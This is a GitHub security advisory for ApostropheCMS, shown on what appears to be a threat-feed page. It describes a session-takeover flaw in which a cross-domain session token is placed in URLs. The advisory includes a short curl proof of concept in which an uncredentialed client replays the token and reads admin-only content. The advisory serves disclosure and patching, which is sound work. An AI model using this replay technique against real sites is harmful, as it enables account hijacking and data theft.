GHSA-hhvr-8m24-qqr3 - ApostropheCMS: Cross-domain session token in URL confers session takeover
**Summary**
Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials.
**Details**
`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:
- Token generation on cross-host/locale flows (L479โ487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557โ593) places the token in the URL.
- `acceptCrossDomainSessionToken` (L258โ298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.
- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820โ879); verified with `APOS_LOG_ALL_ROUTES=1`.
**PoC**
```
# 0) Anonymous baseline: admin-only draft โ 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
--data '{"username":"admin","password":"adminpassword","session":true}' \
http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
# โ 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
# โ 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}
```
**Impact**
Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browse
MEDIUM
Severity & confidence
Source severitymedium
Platform severitymedium
Confidencemedium
Exploitationunknown
CVSS-
Affected
Vendorsapostrophe@apostrophecms
Productsapostrophe@apostrophecms/passport-bridge
Reporting sources (1)
GitHub Security Advisories
Timeline & provenance
Published2026-10-20T18:09:01
Last updated2026-10-21T07:49:05
Ingested2026-10-20T18:21:26
FreshnessNEAR-REAL-TIME
Threat typeadvisory
Recommended action
Review the advisory and upgrade affected packages to the first patched version.
Next steps
- Identify affected systems in your environment.
- Apply the vendor patch or mitigation guidance.
- Review logs for indicators described in the advisory.
- Follow the affected vendor/product to track updates.
Confidence explanation
Reported by a single or secondary source; treat as indicative, verify before acting.
Source type: vendor ยท Original: GitHub Security Advisories